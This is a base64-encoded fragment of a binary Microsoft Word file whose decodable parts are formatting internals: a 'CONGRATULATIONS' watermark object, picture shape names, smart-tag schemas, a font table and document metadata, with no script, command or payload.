AwCCAII/BQAAAQAAABDwBAAAABYAAAAAABHwBAAAAAEAAAAPAATwlgAAALIECvAIAAAAFQQAAAAK AACjAAvwUgAAAL8ABAAEAARBAwAAAAXBAgAAAAgBzUwAAAkBmlkAAD8BAAAGAL8BAAAQAP8BAAAI AIDDFAAAAL8DIAAiAAAAUABpAGMAdAB1AHIAZQAgADMAAAAjACLxDAAAAL8DAIIAgj8FAAABAAAA EPAEAAAAFQAAAAAAEfAEAAAAAQAAAA8ABPCWAAAAsgQK8AgAAAAWBAAAAAoAAKMAC/BSAAAAvwAE AAQABEEDAAAABcECAAAACAHNTAAACQGaWQAAPwEAAAYAvwEAABAA/wEAAAgAgMMUAAAAvwMgACIA AABQAGkAYwB0AHUAcgBlACAAMwAAACMAIvEMAAAAvwMAggCCPwUAAAEAAAAQ8AQAAAAQAAAAAAAR 8AQAAAABAAAADwAE8JYAAACyBArwCAAAABcEAAAACgAAowAL8FIAAAC/AAQABAAEQQMAAAAFwQIA AAAIAc1MAAAJAZpZAAA/AQAABgC/AQAAEAD/AQAACACAwxQAAAC/AyAAIgAAAFAAaQBjAHQAdQBy AGUAIAAzAAAAIwAi8QwAAAC/AwCCAII/BQAAAQAAABDwBAAAABEAAAAAABHwBAAAAAEAAAAPAATw lgAAALIECvAIAAAAGAQAAAAKAACjAAvwUgAAAL8ABAAEAARBAwAAAAXBAgAAAAgBzUwAAAkBmlkA AD8BAAAGAL8BAAAQAP8BAAAIAIDDFAAAAL8DIAAiAAAAUABpAGMAdAB1AHIAZQAgADMAAAAjACLx DAAAAL8DAIIAgj8FAAABAAAAEPAEAAAACAAAAAAAEfAEAAAAAQAAAA8ABPCWAAAAsgQK8AgAAAAZ BAAAAAoAAKMAC/BSAAAAvwAEAAQABEEDAAAABcECAAAACAHNTAAACQGaWQAAPwEAAAYAvwEAABAA /wEAAAgAgMMUAAAAvwMgACIAAABQAGkAYwB0AHUAcgBlACAAMwAAACMAIvEMAAAAvwMAggCCPwUA AAEAAAAQ8AQAAAAHAAAAAAAR8AQAAAABAAAADwAE8GgAAAASAArwCAAAAAEEAAAADgAAkwAL8DYA AACAAQcAAACBAWGNwwCDAdvl8QCMAWQAAAC/ARAAEADLAQAAAAD/AQAACAAEAwkAAAA/AwEAAQAT ACLxBgAAAL8BAAAgAAAAEfAEAAAAAQAAAAEPAALwkAMAABAACPAIAAAABAAAAAMIAAAPAAPweAMA AA8ABPAoAAAAAQAJ8BAAAAAAAAAAAAAAAAAAAAAAAAAAAgAK8AgAAAAACAAABQAAAA8ABPAQAQAA gggK8AgAAAABCAAAAAoAALMAC/C0AAAABAAAADsBwMAgAAAAwwAAAAEAxcAQAAAA/wAAQIDAgQH/ 00cAggEAgAAAvwEQABAA/wEAAAgAgMNCAAAAvwMgACAAQwBPAE4ARwBSAEEAVABVAEwAQQBUAEkA TwBOAFMAAABDAGEAbABpAGIAcgBpAAAAUABvAHcAZQByAFAAbAB1AHMAVwBhAHQAZQByAE0AYQBy AGsATwBiAGoAZQBjAHQAMQAwADEANgA0ADEANQAxAAAAYwAi8SQAAACPAwIAAACQAwAAAACRAwIA AACSAwAAAAC/AwAAAIA/BQAAAQAAABDwBAAAAAIAAAAAABHwBAAAAAEAAAAPAATwEAEAAIIICvAI AAAAAggAAAAKAACzAAvwtAAAAAQAAAA7AcDAIAAAAMMAAAABAMXAEAAAAP8AAECAwIEB/9NHAIIB AIAAAL8BEAAQAP8BAAAIAIDDQgAAAL8DIAAgAEMATwBOAEcAUgBBAFQAVQBMAEEAVABJAE8ATgBT AAAAQwBhAGwAaQBiAHIAaQAAAFAAbwB3AGUAcgBQAGwAdQBzAFcAYQB0AGUAcgBNAGEAcgBrAE8A YgBqAGUAYwB0ADEAMAAxADYANAAxADUAMgAAAGMAIvEkAAAAjwMCAAAAkAMAAAAAkQMCAAAAkgMA AAAAvwMAAACAPwUAAAEAAAAQ8AQAAAAAAAAAAAAR8AQAAAABAAAADwAE8BABAACCCArwCAAAAAMI AAAACgAAswAL8LQAAAAEAAAAOwHAwCAAAADDAAAAAQDFwBAAAAD/AABAgMCBAf/TRwCCAQCAAAC/ ARAAEAD/AQAACACAw0IAAAC/AyAAIABDAE8ATgBHAFIAQQBUAFUATABBAFQASQBPAE4AUwAAAEMA YQBsAGkAYgByAGkAAABQAG8AdwBlAHIAUABsAHUAcwBXAGEAdABlAHIATQBhAHIAawBPAGIAagBl AGMAdAAxADAAMQA2ADQAMQA1ADMAAABjACLxJAAAAI8DAgAAAJADAAAAAJEDAgAAAJIDAAAAAL8D AAAAgD8FAAABAAAAEPAEAAAAAQAAAAAAEfAEAAAAAQAAAAAAAAABAAAAFQAAAO0BAAAbAgAAdgIA AIICAACRAgAAWAsAABEOAAATDgAAFA4AABUOAAAWDgAAFw4AABgOAAAbDgAAnRAAAPsSAAAGEwAA KhMAAIwTAADhEwAA4hMAANkWAAADBAAAgwgAAB/9//9BHQAA8woAAHRAAAAAAAUEAADy/v//H/3/ //4QAADCDgAAtEAAAAAABgQAAMYAAABaCgAA+ggAANAMAAC0QAAAAAANBAAACAgAAPIBAADuKQAA QgwAALQAAAAAAAcEAAAGGAAA0wAAAOMrAAABDwAAdEAAAAAADAQAAOT9//9++///YwYAAHgBAAC0 AAAAAAACBAAAWgAAAGz7///VKgAACwIAAHRAAAAAABkEAACm////3gQAAN8RAAC/FAAAdEAAAAAA GAQAAL4UAABbAAAA9yYAADwQAAB0QAAAAAAKBAAAZAUAAP0AAADJCQAA5gQAALQAAAAAABIEAABo HwAAAP7//zYkAABEBQAAtAAAAAAADwQAABwRAAAd////BRkAAJ4FAAC0AAAAAAAQBAAAIQwAAA7/ //8cEQAAngUAALQAAAAAABMEAAAjGQAA/v///2gfAABiBQAAtAAAAAAAEQQAADYkAAD+////PisA AEQFAAC0AAAAAAAOBAAAmP7//w7///98CwAAuQgAALQAAAAAABYEAACY/v//dgAAANEQAABXEAAA dEAAAAAAFwQAACUXAACzAAAAXikAAJQQAAB0QAAAAAAIBAAA9Pz//9oAAABZAQAAIAYAALQAAAAA AAkEAAAoIwAAtPz//6crAABiAwAAtAAAAAAABAQAAB4AAAAVAAAAVxIAAPYPAAB0QAAAAAAVBAAA +gYAAHIAAAAzGQAAUxAAAHRAAAAAABQEAACI////swQAAFIIAAALBwAAtAAAAAAACwQAAPwhAACz BAAAxioAAAsHAAC0AAAAAAAMAAAADwAAABIAAAAYAAAAAggAAAAAAAAAAAAAvjAAAL8JAAB0AAAA AAADCAAAHQAAAEPj///bMAAAAu3//3QAAAAAAAEIAAAAAAAAAAAAAL4wAAC/CQAAdAAAAAAA//8c AAAABgA1bIYCEQABAKxiFwAGADZshgIQAAEA7KkhAAYAN2yGAhEAAQCsqiEABgA4bIYCEQABAAys IQAGADlshgIRAAEA3JwhAAYAOmyGAhEAAQCMnSEABgA7bIYCEQABAPyeIQAGADxshgIRAAEAvJoh AAYAPWyGAhEAAQCclyEABgA+bIYCEQABADSYIQAGAD9shgIRAAEA9JghAAYAQGyGAhAAAQCMmSEA BgBBbIYCEAABACSaIQAGAEJshgIRAAEAfJshAAYAQ2yGAhAAAQAsnCEABgBEbIYCEQABADyiIQAG AEVshgIQAAEA7KIhAAYARmyGAhEAAQCcoyEABgBHbIYCEQABAFykIQAGAEhshgIQAAEAHKUhAAYA SWyGAhAAAQDMpSEABgBKbIYCEAABAHymIQAGAEtshgIRAAEALKchAAYATGyGAhAAAQDcpyEABgBN bIYCEAABAIyoIQAGAE5shgIRAAEAhKAjAAYAT2yGAhAAAQC8rCEABgBQbIYCEQABAFStIQCVAQAA nAEAAJwBAAApAgAALwIAADUCAAA9AgAASgIAAFACAABdAgAAZQIAAGUCAACIBQAAiAUAAAoGAAAK BgAALQsAAC0LAAA0DAAAiAwAAOQOAAAoDwAADRAAAA0QAABDEgAAyhMAAMoTAADSEwAA2hYAAAAA AAABAAEAAAACAAIAAAACAAMAAAABAAQAAAABAAUAAAABAAYAAAABAAcAAAABAAgAAAABAAkAAAAB AAoAAAACAAsAAAACAAwAAAACAA0AAAACAA4AAAACAA8AAAACABAAAAACABEAAAACABIAAAABABMA AAABABQAAAABABUAAAABABYAAAACABcAAAACABgAAAABABkAAAACABoAAAACABsAAAACAJsBAACq AQAAqgEAAC4CAAA0AgAAPAIAAEkCAABPAgAAXAIAAGMCAABzAgAAcwIAAJAFAACQBQAAEgYAABIG AAA7CwAAOwsAAEIMAACODAAA6g4AACwPAAAVEAAAFRAAAEkSAADREwAA2BMAANgTAADaFgAAAAAA AAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAA DwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAXAAAAGAAAABkAAQAaAAAAGwAAAAUAAAA9 AAAAGQAAACqAdXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0YWdzCYBQbGFj ZU5hbWUAgD0AAAATAAAAKoB1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpzbWFydHRh Z3MJgFBsYWNlVHlwZQCAOAAAABwAAAAqgHVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNl OnNtYXJ0dGFncwSAQ2l0eQCAOQAAABsAAAAqgHVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2Zm aWNlOnNtYXJ0dGFncwWAcGxhY2UAgEIAAAAaAAAAKoB1cm46c2NoZW1hcy1taWNyb3NvZnQtY29t Om9mZmljZTpzbWFydHRhZ3MOgGNvdW50cnktcmVnaW9uAIAMAAAB6FHeAQAAAAAcAAAAAAAbAAAA AAAaAAAAAAAZAAAAAAAZAAAAAAAZAAAAAAAZAAAAAAAZAAAAAAAZAAAAAAATAAAAAAAaAAAAAAAb AAAAAAAbAAAAAAAcAAAAAAAbAAAAAAAcAAAAAAAbAAAAAAAaAAAAAAAaAAAAAAAbAAAAAAAbAAAA AAAbAAAAAAAcAAAAAAAbAAAAAAAbAAAAAAAZAAAAAAAbAAAAAAATAAAAAAAAAAAAwhYAAMIWAADE FgAAxBYAAMUWAADFFgAAxxYAAMgWAADKFgAAyxYAAM0WAADOFgAA1xYAANoWAAAHAAQABwAEAAIA BAAHAAQABwAEAAcABAAHAAIAAAAAANYBAADZAQAALw8AADwPAADCFgAAwhYAAMQWAADEFgAAxRYA AMUWAADHFgAAyBYAAMoWAADLFgAAzRYAAM4WAADXFgAA2hYAAAcAMwAHADMABwAEAAcABAACAAQA BwAEAAcABAAHAAQABwACAAAAAADUAAAAEQEAABIBAABLAQAAVwEAALYBAADEAQAAzwEAANABAADa AQAA5gEAAOwBAABpAwAAagMAAG0DAAByAwAAVQUAAFgFAABcBQAAXQUAAGEFAACABQAA9gUAAPcF AAD4BQAA+QUAAPoFAAD7BQAA/wUAAAIGAAAlBgAAJwYAAEMGAABzBgAATQgAAGoIAACPCAAAmwgA ABgLAAAhCwAAeAsAAJQLAAC2DQAAEQ4AABMOAAAbDgAAHw4AACQOAAAwDgAAMQ4AADEOAAAyDgAA ZQ4AAGYOAACoDgAA7Q4AAC0PAACEDwAAhw8AANoPAADdDwAA4Q8AAOEPAADiDwAA4g8AAOoPAAD3 DwAABRAAAAYQAAAZEAAAGRAAAB0QAAAdEAAAHhAAAEcQAACdEAAAnRAAAMkQAADREAAA1xAAAOgQ AAAXEQAAIBEAAGsRAACFEQAAWxIAAFsSAAC4EgAAvxIAAN8SAADlEgAABRMAACUTAAAwEwAAMBMA ADMTAABAEwAAQBMAAEMTAABPEwAAVBMAAFQTAABdEwAAYBMAAGATAABjEwAAbBMAAGwTAABvEwAA ehMAAHoTAAB9EwAAjhMAAI4TAACREwAAnhMAAJ4TAAChEwAApBMAALQTAAC0EwAAwhMAAMQTAADH EwAAxxMAAN4TAADeEwAA4RMAAMEWAADCFgAAwhYAAMQWAADEFgAAxRYAAMUWAADHFgAAyBYAAMoW AADLFgAAzRYAAM4WAADXFgAA2hYAAAUABwAEAAcABAAHAAUABAAFAAgABAAIAAcABAAHAAQABwAE AAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAFAAcABQAHAAUA BwAFAAQABQAEAAUACAAHAAUABwAIAAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAE AAcABAAHAAQABwAEAAcABAAHAAUABwAEAAcABAAHAAQABwAFAAcABAAFAAcABAAHAAUABwAEAAUA BwAEAAUABwAEAAUABwAEAAUABwAEAAUABwAEAAUABwAFAAQABQAHAAUABAAFAAQABQAHAAIABAAH AAQAAgAEAAcABAAHAAQABwAEAAcAAgAAAAAABAEAABEBAAASAQAAIgEAAEsBAABWAQAAVwEAAFwB AADEAQAAzwEAANoBAADmAQAAaQMAAGwDAABtAwAAcgMAAFQFAABfBQAAYQUAAGUFAABmBQAAbQUA AG4FAABxBQAAcgUAAHcFAAB4BQAAgAUAAPAFAADyBQAA8wUAAPQFAAD1BQAAAgYAACUGAAAnBgAA PAYAAEMGAABEBgAASAYAAEkGAABQBgAAUQYAAFoGAABbBgAAYQYAAGIGAABnBgAAaAYAAHIGAABz BgAAdQYAAEcIAABNCAAATggAAFEIAABSCAAAVggAAFcIAABeCAAAXwgAAGsIAACPCAAAmggAAJsI AACeCAAA8QgAAPQIAAD2CAAA+ggAABgLAAAhCwAAFwwAABwMAAAeDAAALAwAACQOAAAoDgAAKQ4A ADAOAACEDwAAhw8AANkPAADkDwAA5Q8AAOoPAADrDwAA8g8AAPMPAAD2DwAA9w8AAPwPAAD9DwAA BRAAAAYQAAAMEAAAGRAAAB0QAAAfEAAAJhAAACcQAAAuEAAALxAAADYQAAA3EAAAPhAAAD8QAABG EAAARxAAAE4QAABPEAAAVhAAAJ0QAACeEAAAxxAAAMkQAADKEAAA0RAAANcQAADdEAAA3hAAAOcQ AADoEAAA7BAAABcRAAAgEQAAShIAAFISAABTEgAAWhIAALgSAAC/EgAA3xIAAOUSAADsEgAA9RIA AMEWAADCFgAAwhYAAMQWAADEFgAAxRYAAMUWAADHFgAAyBYAAMoWAADLFgAAzRYAAM4WAADXFgAA 2hYAAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAH AAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcA AwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwAD AAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMA BwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwADAAcAAwAHAAMABwACAAQABwAE AAIABAAHAAQABwAEAAcABAAHAAIAAgAAAAEACQQGAAIAQAAAAAkIBgACAEAABQDOXGYBORSJewAA AAADAAgAwBIAAMIBAABbLygLjhLiVQAAAAAAAJcb0VRbLygLAAAAAAAAjhLiVQAAAAAAAAAAAAEC AAIAORSJe5cb0VQAAAAAAQAEAEDt//+EAAAABAAAAAgAAADlAAAAAAAAAHUAAAACAgYAln0KAN1D DwBFVRIAVyYTAL83EwDnSRMAu0kXAPlEGgDmKBwA9zceAPE/JQB8KycAJF0nAJFFKACkOCoAbl8r AFZILQD4Ky8AtU8vABJ+LwD5fzAA8iAyADMSMwCBTTMA100zAHwyNADKfzQA8Rc6AJ4sOwAkJT8A jC5BALsjQgC7L0IAjgJDAMZ9RwDYZ0kA/1BOAJw3TwBpfE8Ac3BUADVlVgCDTVgAyltYAEgfXQAd d10ABABeAAMDXwDRV2EAkR5kAAkrZQAICmcAsBdnADsoaQAwbm4AwUlzACkgdQClLncASUR4AKIJ fQDJC30AOEN+ALUYfwBkTH8AwhmBAAlqgwAkcIMA2A2FAD4EhgD0FogAxyuJAHUVigBCTIoAMDyM ABpcjwCPHJEAiiKRAGBWkQBjRZIAYFaUAFJ0lABGZpYAcH6cAJFNoQDwaKMAcnKlAAd5pQDrJqYA oDemAIcbqgCQKKoAZwS1AGhVuACqVbgA+GG4AIw8uQBZZbkAqkO6AFtRvQD0HMAAfCfAADI5wAAo AcEA0EXCACtHxABTBMUAm2XFAJw8xgD/VsYARRzIAGZXywBpP84AGVTWAOAi1wA/SNkAGE7bAJd/ 2wApCuIAPR7kACIr5ACqPuUAjhTnABA/6gBtT+oA7DLwANJl8gDGHPQALGH1APEW9gCEB/kAkWn6 AGpN/gAAAAAAMQ4AAJ8QAAD4EQAAIhMAACMTAAAkEwAALBMAAC8TAAAxEwAAMhMAADwTAAA/EwAA QRMAAEITAABQEwAAUxMAAFUTAABWEwAAXBMAAF8TAABhEwAAYhMAAGgTAABrEwAAbRMAAG4TAAB2 EwAAeRMAAHsTAAB8EwAAiRMAAIwTAACPEwAAkBMAAJoTAACdEwAAnxMAAKATAACwEwAAsxMAALUT AAC2EwAAwxMAAMYTAADIEwAAyRMAANoTAADdEwAA3xMAAOATAADBFgAA2hYAAAAAAAADAAAAAAAA AAAAAAAAAAAAAAAAAAgAAAAiAQAAAgEAAAIBAAC+AQAAAgEAAAIBAAACAQAAngEAAAIBAAACAQAA AgEAAJ4BAAACAQAAAgEAAAIBAACeAQAAAgEAAAIBAAACAQAAngEAAAIBAAACAQAAAgEAAJ4BAAAC AQAAAgEAACIBAAC+AQAAAgEAAAIBAAACAQAAngEAAAIBAAACAQAAAgEAAJ4BAAACAQAAAgEAAAIB AACeAQAAAgEAAAIBAAACAQAAlgEAAAEAAAD/QAOAAQCcEAAAnBAAALwnMQEBAAEAnBAAAAAAAACc EAAAAAAAAAIQAAAAAAAAANkWAABAAAAQAEAAAP//AQAAAAcAVQBuAGsAbgBvAHcAbgD//wEACAAA AAAAAAAAAAAA//8BAAAAAAD//wAAAgD//wAAAAD//wAAAgD//wAAAAAJAAAARxaQAQAAAgIGAwUE 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 bAEAAAIAAADkBAAAHgAAABQAAAAgICAgICAgICAgICAgICAgICAAAB4AAAAEAAAAAAAAAB4AAAAI AAAAdGVtcAAAAAAeAAAABAAAAAAAAAAeAAAACAAAAE5vcm1hbAAAHgAAAAQAAABQQwAAHgAAAAQA AAAyOAAAHgAAABgAAABNaWNyb3NvZnQgT2ZmaWNlIFdvcmQAAABAAAAAACgt2gwAAABAAAAAAEDx FNLOywFAAAAAADT2+rbOywFAAAAAABR+AB7rywEDAAAAAQAAAAMAAABlAwAAAwAAAF0TAAADAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 